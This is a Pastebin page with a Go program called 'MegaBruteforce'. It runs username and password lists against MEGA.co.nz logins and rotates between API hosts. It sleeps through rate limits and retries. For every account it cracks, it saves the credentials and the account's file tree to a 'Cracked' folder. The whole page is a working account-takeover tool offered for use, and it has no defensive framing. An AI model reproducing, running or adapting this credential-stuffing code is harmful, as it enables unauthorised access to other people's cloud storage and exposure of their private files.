FlyFar

MegaBruteforce - A Basic Mega.co.nz Bruteforcer

Jul 17th, 2023 (edited)
114
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Go 2.96 KB | Cybersecurity | 0 0
  1. // A Basic Mega.co.nz Bruteforcer, nothing special :))))
  2. // Features:
  3. // - Gives Username and Password
  4. // - Lists files
  5. // - Saves to Cracked File listing login and Filetree
  6. //
  7. // Mods:
  8. // You will need to do a small hack to the mega.go file of (go-mega); You need to change "API_URL" from Const to a Var so
  9. // var API_URL = "https://eu.api.mega.co.nz"
  10. //
  11. // Compiling:
  12. // Import needed packages. go build main.go
  13. //
  14. // Packages Used:
  15. // github.com/t3rm1n4l/go-mega
  16. // github.com/t3rm1n4l/megacmd/client
  17.  
  18. package main
  19.  
  20. import (
  21.     "fmt"
  22.     "io/ioutil"
  23.     "math/rand"
  24.     "os"
  25.     "strconv"
  26.     "strings"
  27.     "time"
  28.  
  29.     "github.com/t3rm1n4l/go-mega"
  30.     "github.com/t3rm1n4l/megacmd/client"
  31. )
  32.  
  33. var (
  34.     api = [...]string{"https://eu.api.mega.co.nz", "https://g.api.mega.co.nz"} //API's
  35. )
  36.  
  37. func checkFileExist(filePath string) bool {
  38.     if _, err := os.Stat(filePath); os.IsNotExist(err) {
  39.         return false
  40.     } else {
  41.         return true
  42.     }
  43. }
  44.  
  45. func getContent(file string) ([]string, error) {
  46.     f, err := ioutil.ReadFile(file)
  47.     if err != nil {
  48.         return []string{}, fmt.Errorf("error opening file %v", err)
  49.     }
  50.  
  51.     results := strings.Split(string(f), "\r\n")
  52.  
  53.     return results, nil
  54. }
  55.  
  56. type Page struct {
  57.     Title string
  58.     Body  []byte
  59. }
  60.  
  61. func (p *Page) save() error {
  62.     filename := p.Title + ".txt"
  63.     return ioutil.WriteFile("./Cracked/"+filename, p.Body, 0600)
  64. }
  65.  
  66. func countFiles() int { //Count # of files
  67.     profiles, _ := ioutil.ReadDir("./Cracked")
  68.     return len(profiles)
  69. }
  70.  
  71. func main() {
  72.     if checkFileExist(os.Args[0]+"username.txt") && checkFileExist(os.Args[0]+"password.txt") {
  73.         fmt.Println("Error! username.txt OR password.txt not found!")
  74.         os.Exit(1)
  75.     }
  76.  
  77.     usernames, err := getContent("username.txt")
  78.     if err != nil {
  79.         fmt.Println(err)
  80.         return
  81.     }
  82.     passwords, err := getContent("password.txt")
  83.     if err != nil {
  84.         fmt.Println(err)
  85.         return
  86.     }
  87.  
  88.     for _, u := range usernames {
  89.         for _, p := range passwords {
  90.         retry:
  91.             conf := new(megaclient.Config)
  92.             rand.Seed(time.Now().UTC().UnixNano())
  93.             mega.API_URL = api[rand.Intn(len(api))]
  94.  
  95.             conf.User = u
  96.             conf.Password = p
  97.  
  98.             client, err := megaclient.NewMegaClient(conf)
  99.             if err != nil {
  100.                 fmt.Println(err)
  101.             }
  102.  
  103.             err = client.Login()
  104.  
  105.             if err != nil {
  106.                 if err == mega.ENOENT {
  107.                     fmt.Println("[Bad] " + u + ":" + p)
  108.                     break
  109.                 } else {
  110.                     fmt.Println("[Limited] Unable to establish connection to mega service", err)
  111.                     time.Sleep(time.Duration(30) * time.Second)
  112.  
  113.                     goto retry
  114.                 }
  115.             }
  116.             var tmpstring string
  117.             tmpstring += "Login: " + u + ":" + p + "\r\n"
  118.             fmt.Println("[Good] " + u + ":" + p)
  119.             paths, err := client.List("mega:/")
  120.             if err != nil && err != mega.ENOENT {
  121.                 fmt.Println("[ERROR] List failed ", err)
  122.             }
  123.             if err == nil {
  124.                 for _, p := range *paths {
  125.                     tmpstring += p.GetPath() + "\r\n"
  126.                 }
  127.                 s1 := strconv.Itoa(countFiles())
  128.                 p1 := &Page{Title: "Cracked Account " + s1, Body: []byte(tmpstring)}
  129.                 p1.save()
  130.             }
  131.         }
  132.     }
  133. }
Add Comment
Please, Sign In to add comment